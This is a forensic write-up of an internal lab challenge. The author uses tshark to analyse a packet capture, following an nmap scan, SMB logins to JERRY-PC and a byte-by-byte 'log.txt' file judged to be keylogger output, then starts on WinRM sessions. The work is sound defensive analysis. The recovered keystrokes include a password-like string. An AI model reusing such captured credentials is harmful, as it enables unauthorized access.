At work, we develop and run various Cyber Security challenges to help the Analyst (and the rest of the team) to rapidly build and demonstrate their skillset. This challenge was put together by one of our Managers Jean. I thought this was an interesting challenge that covered a number of areas. As a result, I thought I should take a stab at it. Here is my write up of my analysis.
Summary
On July 23, 2023 at 23:13 a report was made of suspicious activity relating to someone scanning the 10.240.240.0/24 subnet. Upon investigation, it was determined that these scans originated from the device at IP 10.240.240.5. This device is currently used by the user Newman. The scan successfully identified services for SMB, MSSQL and others. While not found via the scan, the user using Newman account was able to login to the PC at 10.240.240.4 on port 5985 which is associated with Powershell Remoting. There were also connections made from 10.240.240.4 to 10.240.240.6 on port 1433 which is associated with MSQL.
Further analysis of this activity, determined that a malicious file pretending to be Windows update, was executed on the system, resulting in a number of processes being spawned. Most of these activities were performed by the user account Jerry who is the authenticated user on Jerry-PC.
The image below shows a synopsis of the activity.
Detailed Analysis
First start by looking at the evidence file provided.
$ md5sum challenge_data.zip 6f620299c237236c068ef3000d086833 challenge_data.zip
Extract the files .
$ unzip challenge_data.zip -d jean_challenge/ Archive: challenge_data.zip inflating: jean_challenge/endpoint_logs/10-240-240-4-events.csv inflating: jean_challenge/endpoint_logs/10-240-240-4-events.evtx inflating: jean_challenge/endpoint_logs/10-240-240-4-events.txt inflating: jean_challenge/endpoint_logs/10-240-240-4-events.xml inflating: jean_challenge/endpoint_logs/10-240-240-5-events.csv inflating: jean_challenge/endpoint_logs/10-240-240-5-events.evtx inflating: jean_challenge/endpoint_logs/10-240-240-5-events.txt inflating: jean_challenge/endpoint_logs/10-240-240-5-events.xml inflating: jean_challenge/packet_capture/packet_capture.pcap inflating: jean_challenge/packet_capture/packet_capture.pcapng inflating: jean_challenge/sql_logs/sql_logs.csv inflating: jean_challenge/sql_logs/sql_logs.xel inflating: jean_challenge/usbstick_image/usbstick.vhd
Starting with my strengths, performing network forensics on packet_capture.pcapng using Tshark. Looking at the protocol hierarchy to see what is in the PCAP.
$ tshark -q -r packet_capture.pcapng -z io,phs =================================================================== Protocol Hierarchy Statistics Filter: eth frames:4926 bytes:1917097 arp frames:718 bytes:40020 ip frames:4208 bytes:1877077 udp frames:26 bytes:5222 nbdgm frames:8 bytes:1944 smb frames:8 bytes:1944 mailslot frames:8 bytes:1944 browser frames:8 bytes:1944 nbns frames:4 bytes:582 data frames:6 bytes:2052 mdns frames:8 bytes:644 tcp frames:4146 bytes:1864247 data frames:72 bytes:4536 nbss frames:728 bytes:126126 smb frames:4 bytes:888 smb2 frames:710 bytes:123980 data frames:117 bytes:20181 tds frames:144 bytes:48140 tcp.segments frames:3 bytes:3716 _ws.malformed frames:3 bytes:857 dcerpc frames:18 bytes:5028 oxid frames:4 bytes:552 isystemactivator frames:2 bytes:1900 tls frames:91 bytes:34985 http frames:569 bytes:372420 xml frames:569 bytes:372420 tcp.segments frames:382 bytes:159294 icmp frames:36 bytes:7608 data frames:6 bytes:2220 ===================================================================
Identifying the number of unique sessions in the files.
$ tshark -q -r packet_capture.pcapng -T fields -e tcp.stream | sort | uniq --count | sort --numeric-sort --reverse | wc --lines 300
With 300 unique sessions where to start?! Looking at the unique IPs in the file.
$ tshark -q -r packet_capture.pcapng -z conv,ip | sed '1,5d;$d' | cut --fields 1 --delimiter ' ' | sort --uniq 10.240.240.4 10.240.240.5 10.240.240.6
Looking at how these IPs were communicating
$ tshark -q -r packet_capture.pcapng -z conv,ip ================================================================================ IPv4 Conversations Filter:<No Filter> | <- | | -> | | Total | Relative | Duration | | Frames Bytes | | Frames Bytes | | Frames Bytes | Start | | 10.240.240.5 <-> 10.240.240.4 1381 653 kB 1795 1,071 kB 3176 1,725 kB 9.965524000 625.0360 10.240.240.4 <-> 10.240.240.6 240 43 kB 294 68 kB 534 112 kB 123.097336000 526.4997 10.240.240.5 <-> 10.240.240.6 211 15 kB 271 21 kB 482 36 kB 9.965348000 22.3932 10.240.240.4 <-> 224.0.0.251 0 0 bytes 4 296 bytes 4 296 bytes 149.549610000 0.6121 10.240.240.6 <-> 224.0.0.251 0 0 bytes 4 348 bytes 4 348 bytes 149.552598000 0.6092 10.240.240.4 <-> 10.240.240.255 0 0 bytes 3 729 bytes 3 729 bytes 9.784243000 359.6082 10.240.240.5 <-> 10.240.240.255 0 0 bytes 3 729 bytes 3 729 bytes 15.335371000 360.2213 10.240.240.6 <-> 10.240.240.255 0 0 bytes 2 486 bytes 2 486 bytes 120.685407000 479.2508 ================================================================================
From above, we can see the first 3 sessions have the most frames while the last 5 has 0.
Looking at the first IP conversation it has a time of 625 seconds. The second has 526 seconds and the 3rd 22 seconds.
Taking a look at the communication between the first two hosts. If you are wondering why the switch to tcpdump, just an accident. Nothing specific.
$ tcpdump -n -r packet_capture.pcapng 'host 10.240.240.5 and 10.240.240.4' -w 5-4.pcap
How many sessions do we have now, that have occurred between these two hosts?
$ tshark -q -r 5-4.pcap -T fields -e tcp.stream | sort | uniq --count | sort --numeric-sort --reverse | wc --lines 129
Ok, with 129 sessions, where do I start?! Asking this question again, from the conversations perspective.
$ tshark -q -r 5-4.pcap -z conv,tcp ================================================================================ TCP Conversations Filter:<No Filter> | <- | | -> | | Total | Relative | Duration | | Frames Bytes | | Frames Bytes | | Frames Bytes | Start | | 10.240.240.4:49674 <-> 10.240.240.5:445 360 63 kB 466 67 kB 826 130 kB 76.244037000 542.9534 10.240.240.5:49704 <-> 10.240.240.4:5985 378 338 kB 390 221 kB 768 559 kB 182.473326000 429.0919 10.240.240.5:49706 <-> 10.240.240.4:5985 216 128 kB 479 418 kB 695 547 kB 182.937975000 444.0836 10.240.240.5:49705 <-> 10.240.240.4:5985 182 110 kB 402 356 kB 584 467 kB 182.860278000 428.7639 10.240.240.5:49682 <-> 10.240.240.4:135 4 264 bytes 5 468 bytes 9 732 bytes 9.194943000 0.0060 10.240.240.5:49675 <-> 10.240.240.4:135 3 186 bytes 5 332 bytes 8 518 bytes 3.175866000 6.0191 10.240.240.5:49676 <-> 10.240.240.4:139 3 186 bytes 5 318 bytes 8 504 bytes 3.176094000 6.0231 10.240.240.5:49686 <-> 10.240.240.4:139 3 186 bytes 5 468 bytes 8 654 bytes 9.198805000 0.0040 10.240.240.5:49677 <-> 10.240.240.4:445 2 126 bytes 3 348 bytes 5 474 bytes 3.176193000 6.0172 10.240.240.5:49683 <-> 10.240.240.4:445 2 126 bytes 3 186 bytes 5 312 bytes 9.196929000 0.0032 10.240.240.5:49689 <-> 10.240.240.4:445 2 126 bytes 3 198 bytes 5 324 bytes 9.201052000 0.0020 10.240.240.5:49691 <-> 10.240.240.4:445 2 126 bytes 3 268 bytes 5 394 bytes 9.203503000 0.0006 10.240.240.5:49693 <-> 10.240.240.4:445 2 126 bytes 3 290 bytes 5 416 bytes 9.204569000 0.0006 10.240.240.5:44893 <-> 10.240.240.4:135 1 60 bytes 2 120 bytes 3 180 bytes 1.986875000 0.0003 10.240.240.5:44893 <-> 10.240.240.4:139 1 60 bytes 2 120 bytes 3 180 bytes 1.987486000 0.0004 10.240.240.5:44893 <-> 10.240.240.4:445 1 60 bytes 2 120 bytes 3 180 bytes 1.989021000 0.0002 10.240.240.5:63115 <-> 10.240.240.4:135 1 74 bytes 2 134 bytes 3 208 bytes 14.311654000 0.0004 10.240.240.5:63116 <-> 10.240.240.4:135 1 74 bytes 2 134 bytes 3 208 bytes 14.413983000 0.0003 10.240.240.5:63117 <-> 10.240.240.4:135 1 74 bytes 2 134 bytes 3 208 bytes 14.521630000 0.0005 10.240.240.5:63118 <-> 10.240.240.4:135 1 74 bytes 2 130 bytes 3 204 bytes 14.627085000 0.0004 10.240.240.5:63119 <-> 10.240.240.4:135 1 74 bytes 2 134 bytes 3 208 bytes 14.733035000 0.0006 10.240.240.5:63120 <-> 10.240.240.4:135 1 70 bytes 2 130 bytes 3 200 bytes 14.839555000 0.0006 10.240.240.5:63127 <-> 10.240.240.4:135 1 66 bytes 2 126 bytes 3 192 bytes 14.983360000 0.0004 10.240.240.5:44893 <-> 10.240.240.4:25 1 60 bytes 1 60 bytes 2 120 bytes 1.985584000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:143 1 60 bytes 1 60 bytes 2 120 bytes 1.985873000 0.0002 10.240.240.5:44893 <-> 10.240.240.4:80 1 60 bytes 1 60 bytes 2 120 bytes 1.986099000 0.0000 10.240.240.5:44893 <-> 10.240.240.4:554 1 60 bytes 1 60 bytes 2 120 bytes 1.986254000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:111 1 60 bytes 1 60 bytes 2 120 bytes 1.987703000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:5900 1 60 bytes 1 60 bytes 2 120 bytes 1.988023000 0.0002 10.240.240.5:44893 <-> 10.240.240.4:8888 1 60 bytes 1 60 bytes 2 120 bytes 1.988265000 0.0000 10.240.240.5:44893 <-> 10.240.240.4:1720 1 60 bytes 1 60 bytes 2 120 bytes 1.988459000 0.0000 10.240.240.5:44893 <-> 10.240.240.4:1723 1 60 bytes 1 60 bytes 2 120 bytes 1.988511000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:1025 1 60 bytes 1 60 bytes 2 120 bytes 1.988725000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:21 1 60 bytes 1 60 bytes 2 120 bytes 1.988861000 0.0002 10.240.240.5:44893 <-> 10.240.240.4:199 1 60 bytes 1 60 bytes 2 120 bytes 1.989295000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:8080 1 60 bytes 1 60 bytes 2 120 bytes 1.989493000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:3389 1 60 bytes 1 60 bytes 2 120 bytes 1.989684000 0.0000 10.240.240.5:44893 <-> 10.240.240.4:995 1 60 bytes 1 60 bytes 2 120 bytes 1.989834000 0.0000 10.240.240.5:44893 <-> 10.240.240.4:23 1 60 bytes 1 60 bytes 2 120 bytes 1.989958000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:110 1 60 bytes 1 60 bytes 2 120 bytes 1.990236000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:3306 1 60 bytes 1 60 bytes 2 120 bytes 1.990361000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:53 1 60 bytes 1 60 bytes 2 120 bytes 1.990590000 0.0000 10.240.240.5:44893 <-> 10.240.240.4:587 1 60 bytes 1 60 bytes 2 120 bytes 1.990756000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:22 1 60 bytes 1 60 bytes 2 120 bytes 1.990917000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:993 1 60 bytes 1 60 bytes 2 120 bytes 1.991138000 0.0002 10.240.240.5:44893 <-> 10.240.240.4:113 1 60 bytes 1 60 bytes 2 120 bytes 1.991356000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:443 1 60 bytes 1 60 bytes 2 120 bytes 1.991532000 0.0002 10.240.240.5:44893 <-> 10.240.240.4:4899 1 60 bytes 1 60 bytes 2 120 bytes 1.991827000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:1110 1 60 bytes 1 60 bytes 2 120 bytes 1.991970000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:179 1 60 bytes 1 60 bytes 2 120 bytes 1.992097000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:37 1 60 bytes 1 60 bytes 2 120 bytes 1.992311000 0.0000 10.240.240.5:44893 <-> 10.240.240.4:2049 1 60 bytes 1 60 bytes 2 120 bytes 1.992457000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:88 1 60 bytes 1 60 bytes 2 120 bytes 1.992611000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:8000 1 60 bytes 1 60 bytes 2 120 bytes 1.992774000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:990 1 60 bytes 1 60 bytes 2 120 bytes 1.992920000 0.0000 10.240.240.5:44893 <-> 10.240.240.4:119 1 60 bytes 1 60 bytes 2 120 bytes 1.993156000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:5000 1 60 bytes 1 60 bytes 2 120 bytes 1.993334000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:6646 1 60 bytes 1 60 bytes 2 120 bytes 1.993476000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:1026 1 60 bytes 1 60 bytes 2 120 bytes 1.993644000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:32768 1 60 bytes 1 60 bytes 2 120 bytes 1.993823000 0.0000 10.240.240.5:44893 <-> 10.240.240.4:49154 1 60 bytes 1 60 bytes 2 120 bytes 1.993909000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:1900 1 60 bytes 1 60 bytes 2 120 bytes 1.994024000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:3128 1 60 bytes 1 60 bytes 2 120 bytes 1.994155000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:5800 1 60 bytes 1 60 bytes 2 120 bytes 1.994324000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:7070 1 60 bytes 1 60 bytes 2 120 bytes 1.994457000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:544 1 60 bytes 1 60 bytes 2 120 bytes 1.994629000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:5101 1 60 bytes 1 60 bytes 2 120 bytes 1.994841000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:548 1 60 bytes 1 60 bytes 2 120 bytes 1.994962000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:1029 1 60 bytes 1 60 bytes 2 120 bytes 1.995248000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:9100 1 60 bytes 1 60 bytes 2 120 bytes 1.995410000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:5432 1 60 bytes 1 60 bytes 2 120 bytes 1.995574000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:26 1 60 bytes 1 60 bytes 2 120 bytes 1.995694000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:10000 1 60 bytes 1 60 bytes 2 120 bytes 1.995838000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:81 1 60 bytes 1 60 bytes 2 120 bytes 1.995984000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:389 1 60 bytes 1 60 bytes 2 120 bytes 1.996095000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:515 1 60 bytes 1 60 bytes 2 120 bytes 1.996281000 0.0000 10.240.240.5:44893 <-> 10.240.240.4:8009 1 60 bytes 1 60 bytes 2 120 bytes 1.996376000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:9999 1 60 bytes 1 60 bytes 2 120 bytes 1.996896000 0.0000 10.240.240.5:44893 <-> 10.240.240.4:1755 1 60 bytes 1 60 bytes 2 120 bytes 2.015660000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:631 1 60 bytes 1 60 bytes 2 120 bytes 2.015826000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:514 1 60 bytes 1 60 bytes 2 120 bytes 2.015934000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:5060 1 60 bytes 1 60 bytes 2 120 bytes 2.016081000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:8081 1 60 bytes 1 60 bytes 2 120 bytes 2.016204000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:2001 1 60 bytes 1 60 bytes 2 120 bytes 2.016340000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:6001 1 60 bytes 1 60 bytes 2 120 bytes 2.016520000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:9 1 60 bytes 1 60 bytes 2 120 bytes 2.016648000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:144 1 60 bytes 1 60 bytes 2 120 bytes 2.016830000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:1433 1 60 bytes 1 60 bytes 2 120 bytes 2.017082000 0.0000 10.240.240.5:44893 <-> 10.240.240.4:465 1 60 bytes 1 60 bytes 2 120 bytes 2.017231000 0.0000 10.240.240.5:44893 <-> 10.240.240.4:543 1 60 bytes 1 60 bytes 2 120 bytes 2.017384000 0.0000 10.240.240.5:44893 <-> 10.240.240.4:3000 1 60 bytes 1 60 bytes 2 120 bytes 2.017494000 0.0000 10.240.240.5:44893 <-> 10.240.240.4:873 1 60 bytes 1 60 bytes 2 120 bytes 2.017645000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:1027 1 60 bytes 1 60 bytes 2 120 bytes 2.017752000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:49155 1 60 bytes 1 60 bytes 2 120 bytes 2.017935000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:49157 1 60 bytes 1 60 bytes 2 120 bytes 2.018088000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:646 1 60 bytes 1 60 bytes 2 120 bytes 2.018236000 0.0000 10.240.240.5:44893 <-> 10.240.240.4:2717 1 60 bytes 1 60 bytes 2 120 bytes 2.018423000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:6000 1 60 bytes 1 60 bytes 2 120 bytes 2.018545000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:5666 1 60 bytes 1 60 bytes 2 120 bytes 2.018685000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:79 1 60 bytes 1 60 bytes 2 120 bytes 2.018788000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:13 1 60 bytes 1 60 bytes 2 120 bytes 2.019002000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:49152 1 60 bytes 1 60 bytes 2 120 bytes 2.019137000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:5190 1 60 bytes 1 60 bytes 2 120 bytes 2.019263000 0.0000 10.240.240.5:44893 <-> 10.240.240.4:1028 1 60 bytes 1 60 bytes 2 120 bytes 2.031115000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:49153 1 60 bytes 1 60 bytes 2 120 bytes 2.031253000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:8008 1 60 bytes 1 60 bytes 2 120 bytes 2.031431000 0.0000 10.240.240.5:44893 <-> 10.240.240.4:5051 1 60 bytes 1 60 bytes 2 120 bytes 2.031644000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:513 1 60 bytes 1 60 bytes 2 120 bytes 2.031784000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:5357 1 60 bytes 1 60 bytes 2 120 bytes 2.031926000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:444 1 60 bytes 1 60 bytes 2 120 bytes 2.032042000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:8443 1 60 bytes 1 60 bytes 2 120 bytes 2.032208000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:7 1 60 bytes 1 60 bytes 2 120 bytes 2.032387000 0.0002 10.240.240.5:44893 <-> 10.240.240.4:427 1 60 bytes 1 60 bytes 2 120 bytes 2.032541000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:5009 1 60 bytes 1 60 bytes 2 120 bytes 2.032698000 0.0000 10.240.240.5:44893 <-> 10.240.240.4:106 1 60 bytes 1 60 bytes 2 120 bytes 2.032788000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:5631 1 60 bytes 1 60 bytes 2 120 bytes 2.033075000 0.0002 10.240.240.5:44893 <-> 10.240.240.4:2000 1 60 bytes 1 60 bytes 2 120 bytes 2.033376000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:3986 1 60 bytes 1 60 bytes 2 120 bytes 2.033584000 0.0001 10.240.240.5:44895 <-> 10.240.240.4:49156 1 60 bytes 1 60 bytes 2 120 bytes 3.114845000 0.0001 10.240.240.5:44895 <-> 10.240.240.4:2121 1 60 bytes 1 60 bytes 2 120 bytes 3.114957000 0.0000 10.240.240.5:63129 <-> 10.240.240.4:135 1 60 bytes 1 74 bytes 2 134 bytes 15.014570000 0.0001 10.240.240.5:63130 <-> 10.240.240.4:135 1 60 bytes 1 74 bytes 2 134 bytes 15.049537000 0.0003 10.240.240.5:63131 <-> 10.240.240.4:135 1 60 bytes 1 74 bytes 2 134 bytes 15.086134000 0.0001 10.240.240.5:63132 <-> 10.240.240.4:7 1 60 bytes 1 74 bytes 2 134 bytes 15.124352000 0.0003 10.240.240.5:63133 <-> 10.240.240.4:7 1 60 bytes 1 74 bytes 2 134 bytes 15.156202000 0.0002 10.240.240.5:63134 <-> 10.240.240.4:7 1 60 bytes 1 74 bytes 2 134 bytes 15.189820000 0.0001 10.240.240.5:44893 <-> 10.240.240.4:2121 0 0 bytes 1 60 bytes 1 60 bytes 1.996564000 0.0000 10.240.240.5:44893 <-> 10.240.240.4:49156 0 0 bytes 1 60 bytes 1 60 bytes 1.996745000 0.0000 ================================================================================
If we look above, we see a number of records with frame count of 1 and byte count as 60. We can also see, this scanning activity is originating from the host at 10.240.240.5. This correlates with the findings of the logs (see log analysis section) on NEWMAN-PC (10.240.240.5) where nmap.exe was run.
From above, the sessions of immediate importance are:
10.240.240.4:49674 <-> 10.240.240.5:445 360 63 kB 466 67 kB 826 130 kB 76.244037000 542.9534 10.240.240.5:49704 <-> 10.240.240.4:5985 378 338 kB 390 221 kB 768 559 kB 182.473326000 429.0919 10.240.240.5:49706 <-> 10.240.240.4:5985 216 128 kB 479 418 kB 695 547 kB 182.937975000 444.0836 10.240.240.5:49705 <-> 10.240.240.4:5985 182 110 kB 402 356 kB 584 467 kB 182.860278000 428.7639
Starting with session 10.240.240.4:49674 <-> 10.240.240.5:445. The communication between 10.240.240.4:49674 <-> 10.240.240.5:445 started on July 23, 2023 at 19:11:18 local time.
$ tshark -r 5-4.pcap -Y '(ip.addr== 10.240.240.4) && (tcp.port==49674) && (ip.addr==10.240.240.5) && (tcp.port==445)' -t ad 306 2023-07-23 19:11:18.591093 10.240.240.4 → 10.240.240.5 TCP 66 49674 → 445 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM
For time in UTC, the activity started at 23:11 on July 23, 2023.
$ tshark -r 5-4.pcap -Y '(ip.addr== 10.240.240.4) && (tcp.port==49674) && (ip.addr==10.240.240.5) && (tcp.port==445)' -t ud | more 306 2023-07-23 23:11:18.591093 10.240.240.4 → 10.240.240.5 TCP 66 49674 → 445 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM
The username used to setup the SMB connection was Newman.
314 2023-07-23 23:11:18.703795 10.240.240.4 → 10.240.240.5 SMB2 615 Session Setup Request, NTLMSSP_AUTH, User: .\Newman 315 2023-07-23 23:11:18.707464 10.240.240.5 → 10.240.240.4 SMB2 159 Session Setup Response
Digging deeper into this session setup, we see Newman is logging on to JERRY-PC with username Newman. Why is Newman logging on to Jerry PC.
$ tshark -r 5-4.pcap -Y 'frame.number==314' -V | sed '1,197d;214,$d' Domain name: . Length: 2 Maxlen: 2 Offset: 88 User name: Newman Length: 12 Maxlen: 12 Offset: 90 Host name: JERRY-PC Length: 16 Maxlen: 16 Offset: 102 Session Key: fb1a311939e9582ea96066eae0c99946 Length: 16 Maxlen: 16 Offset: 412
Stepping back to take a closer look into this frame.
$ tshark -r 5-4.pcap -Y 'frame.number==314' -V | sed '1,157d;174,$d' Attribute: NetBIOS domain name: NEWMAN-PC NTLMV2 Response Item Type: NetBIOS domain name (0x0002) NTLMV2 Response Item Length: 18 NetBIOS Domain Name: NEWMAN-PC Attribute: NetBIOS computer name: NEWMAN-PC NTLMV2 Response Item Type: NetBIOS computer name (0x0001) NTLMV2 Response Item Length: 18 NetBIOS Computer Name: NEWMAN-PC Attribute: DNS domain name: Newman-PC NTLMV2 Response Item Type: DNS domain name (0x0004) NTLMV2 Response Item Length: 18 DNS Domain Name: Newman-PC Attribute: DNS computer name: Newman-PC NTLMV2 Response Item Type: DNS computer name (0x0003) NTLMV2 Response Item Length: 18 DNS Computer Name: Newman-PC
Above, we see NEWMAN-PC for the NetBios domain name, the Netbios computer name, DNS domain name and DNS Computer name. This suggests this computer belongs to Newman. Newman seems to be using his credentials to connect to Jerry-PC. All of this is also confirmed via the log analysis further below.
When we look into frame 315 (the response to 314), we see that a Session Id was assigned to Newman on host JERRY-PC.
$ tshark -r 5-4.pcap -Y 'frame.number==315' -V | sed '1,106d;115,$d'
Session Id: 0x0001040000000001 Acct:Newman Domain:. Host:JERRY-PC [Account: Newman] [Domain: .] [Host: JERRY-PC] [Authenticated in Frame: 314] Signature: f161357be0ca6801f8a6ab45a8a37943 [Response to: 314] [Time from request: 0.003669000 seconds]
We then see a request to connect to the share \10.240.240.5\Shared from 10.240.240.4. This request was successful.
316 2023-07-23 23:11:18.726884 10.240.240.4 → 10.240.240.5 SMB2 172 Tree Connect Request Tree: \10.240.240.5\Shared 317 2023-07-23 23:11:18.728119 10.240.240.5 → 10.240.240.4 SMB2 138 Tree Connect Response
We then see a request to create a file named log.txt. This response seemed to have been successful
318 2023-07-23 23:11:18.763385 10.240.240.4 → 10.240.240.5 SMB2 192 Create Request File: log.txt 319 2023-07-23 23:11:18.764399 10.240.240.5 → 10.240.240.4 SMB2 210 Create Response File: log.txt
After creating the log.txt, we see about 1 byte is written to the file.
320 2023-07-23 23:11:18.790806 10.240.240.4 → 10.240.240.5 SMB2 171 Write Request Len:1 Off:1000 File: log.txt 321 2023-07-23 23:11:18.791670 10.240.240.5 → 10.240.240.4 SMB2 138 Write Response
The file is then closed.
322 2023-07-23 23:11:18.796259 10.240.240.4 → 10.240.240.5 SMB2 146 Close Request File: log.txt 323 2023-07-23 23:11:18.796697 10.240.240.5 → 10.240.240.4 SMB2 182 Close Response
This process of creating the file and writing 1 byte and closing continued until the session starts reporting Keep-Alive ack messages.
1119 2023-07-23 23:12:21.454723 10.240.240.4 → 10.240.240.5 SMB2 192 Create Request File: log.txt 1120 2023-07-23 23:12:21.455367 10.240.240.5 → 10.240.240.4 SMB2 210 Create Response File: log.txt 1121 2023-07-23 23:12:21.456480 10.240.240.4 → 10.240.240.5 SMB2 171 Write Request Len:1 Off:1290 File: log.txt 1122 2023-07-23 23:12:21.456752 10.240.240.5 → 10.240.240.4 SMB2 138 Write Response 1123 2023-07-23 23:12:21.457468 10.240.240.4 → 10.240.240.5 SMB2 146 Close Request File: log.txt 1124 2023-07-23 23:12:21.457660 10.240.240.5 → 10.240.240.4 SMB2 182 Close Response
At this point above, we see 1 byte is still written but the file is now at offset 1290.It stared off at offset 1000. This means the file should now contain atleast 1290-1000 = 290 bytes. My conclusion at this point, it seems like a keylogger was in use. I see no other reason why one byte would be written at a time.
Writing this session out to a file of it's own.
$ tshark -r 5-4.pcap -Y '(ip.addr== 10.240.240.4) && (tcp.port==49674) && (ip.addr==10.240.240.5) && (tcp.port==445)' -w 4_49674-5_445.pcap
With the new file created, confirming the share accessed and the file created in this share.
$ tshark -n -r 4_49674-5_445.pcap -T fields -e smb2.tree -e smb2.filename | sort | uniq --count 123 586 \10.240.240.5\Shared 117 \10.240.240.5\Shared log.txt
We see that there were 117 instances of the log.txt file appearance in this session. If we step back above, I stated it looks like about 290 bytes were written. However, if we look here and see 117 times this file was seen and we know 1 byte was written each time, does this mean the file actually contains 117 bytes or somewhere there? These are all things for us to validate during this investigation.
Preparing to extract the log.txt files by first making a directory named "extracted_content" then changing to that directory to store the extracted contents.
$ mkdir extracted_content && cd extracted_content
Fortunately, TShark (and Wireshark) can extract contents from protocols such as SMB.
$ tshark.exe --export-objects --help tshark: "--export-objects" are specified as: <protocol>,<destdir> tshark: The available export object types for the "--export-objects" option are: dicom ftp-data http imf smb tftp
Extracting the log.txt files:
$ tshark -n -r ../4_49674-5_445.pcap --export-objects smb,. -
Looks like 118 files were extracted. My gosh, why all of these discrepancies.
$ ls -l | wc --lines 118
Taking a quick look at the files.
$ ls -l * -rw-r--r-- 1 kali kali 1265 Jul 26 10:12 '%5clog(100).txt' -rw-r--r-- 1 kali kali 1266 Jul 26 10:12 '%5clog(101).txt' -rw-r--r-- 1 kali kali 1267 Jul 26 10:12 '%5clog(102).txt' -rw-r--r-- 1 kali kali 1268 Jul 26 10:12 '%5clog(103).txt' -rw-r--r-- 1 kali kali 1279 Jul 26 10:12 '%5clog(104).txt' -rw-r--r-- 1 kali kali 1280 Jul 26 10:12 '%5clog(105).txt' -rw-r--r-- 1 kali kali 1281 Jul 26 10:12 '%5clog(106).txt' -rw-r--r-- 1 kali kali 1282 Jul 26 10:12 '%5clog(107).txt' …
Reading one of the files
$ cat "%5clog(100).txt" c
As expected. One character at time. Now do I need to read each of these files individually to see what is in all of them. I don't intend to :-)
$ cat * | tr --complement --delete [:print:]
The above command produced an output with many characters that did not seem to make sense. However, identifying items that matters, we see
"cure Key.shift Passwmord1337an" and "weird acoming fronm you …skql". Not sure what these mean right now.
However, back to the packet analysis of another session.
10.240.240.5:49704 <-> 10.240.240.4:5985
Writing this session out to a file
$ tshark -n -r 5-4.pcap -Y '(ip.addr==10.240.240.5) && (tcp.port==49704) && (ip.addr==10.240.240.4) && (tcp.port==5985)' -w 5_49704-4_5985.pcapng
Glancing at the protocol hierarchy. This allows me to get a quick overview of what I may be able to expect in this packets.
$ tshark -n -r 5_49704-4_5985.pcapng -q -z io,phs =================================================================== Protocol Hierarchy Statistics Filter: eth frames:768 bytes:559854 ip frames:768 bytes:559854 tcp frames:768 bytes:559854 http frames:190 bytes:79651 xml frames:190 bytes:79651 tcp.segments frames:187 bytes:76189 ===================================================================
Looking at the date and time of this session from the local time perspective.
$ tshark -n -r 5_49704-4_5985.pcapng -t ad | more 1 2023-07-23 19:13:04.820382 10.240.240.5 → 10.240.240.4 TCP 66 49704 → 5985 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM
Looking at the time from UTC
$ tshark -n -r 5_49704-4_5985.pcapng -t ud | more 1 2023-07-23 23:13:04.820382 10.240.240.5 → 10.240.240.4 TCP 66 49704 → 5985 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM
